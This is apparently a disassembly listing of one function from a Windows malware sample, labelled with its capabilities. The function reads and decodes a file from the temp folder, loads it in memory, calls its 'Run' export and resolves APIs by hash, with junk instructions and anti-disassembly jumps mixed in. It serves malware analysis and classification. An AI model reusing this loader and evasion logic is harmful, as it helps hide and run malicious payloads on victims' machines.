Function at 0x1000262f
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
nop
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
xor eax, 1
add eax, 2
jne 0x1000264f
je 0x1000264f
call 0x930416d6
rol byte [ebx + eax*4], 0xf0
add eax, 0x8b905590
in al, dx
xor eax, 3
add eax, 4
xor eax, 5
nop
push ebp
nop
mov ebp, esp
add esp, 5
sub esp, 5
inc ecx
dec ecx
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
push 0x10005010
push 0x10005024
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
nop
nop
nop
mov byte [ebp - 0x14], 0
xor eax, eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov word [ebp - 0xb], ax
mov byte [ebp - 9], al
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x70
nop
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 0xa
sub esp, 0xa
test esi, esi
add esp, 6
sub esp, 6
mov esp, ebp
pop ebp
push 0x10005148
call dword [ebp - 4]
lea ecx, [ebp - 0x14]
push ecx
push 0x10005148
call dword [sym.imp.KERNEL32.dll_lstrcatA]
nop
nop
push ebp
mov ebp, esp
add esp, 0xa
add esp, 0xfffffff6
inc ecx
dec ecx
add esp, 2
sub esp, 2
push 0xffff8016
nop
mov esp, ebp
nop
nop
pop ebp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x10005148
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x10002880
nop
push ebp
nop
mov ebp, esp
push 0xffffb87d
inc ecx
dec ecx
nop
nop
mov esp, ebp
nop
pop ebp
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1d4c0
jae 0x1000275c
xor eax, eax
jmp 0x10002882
mov eax, dword [ebp - 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x28], eax
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
push esi
pop esi
nop
mov esp, ebp
nop
pop ebp
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10005030
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.100024c0
add esp, 0xc
mov byte [ebp - 0x38], 0
xor edx, edx
mov dword [ebp - 0x37], edx
mov word [ebp - 0x33], dx
mov byte [ebp - 0x31], dl
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x75
mov byte [ebp - 0x36], 0x6e
mov eax, dword [ebp - 0x28]
push eax
call fcn.100013e0
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10002817
push ebp
nop
mov ebp, esp
add esp, 5
sub esp, 5
push edi
pop edi
add esp, 1
sub esp, 1
test esi, esi
nop
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.10002079
add esp, 8
mov dword [ebp - 0x1c], eax
call dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
push eax
call fcn.1000219f
add esp, 4
push 0x2ddd7efc
call fcn.1000100c
push eax
call fcn.1000106f
add esp, 8
mov dword [ebp - 0x2c], eax
push 0x10005034
call fcn.1000100c
push eax
call dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
push 0xa4057483
call fcn.1000100c
push eax
call fcn.1000106f
add esp, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
push ecx
push 0
call dword [ebp - 0x18]
push eax
call dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4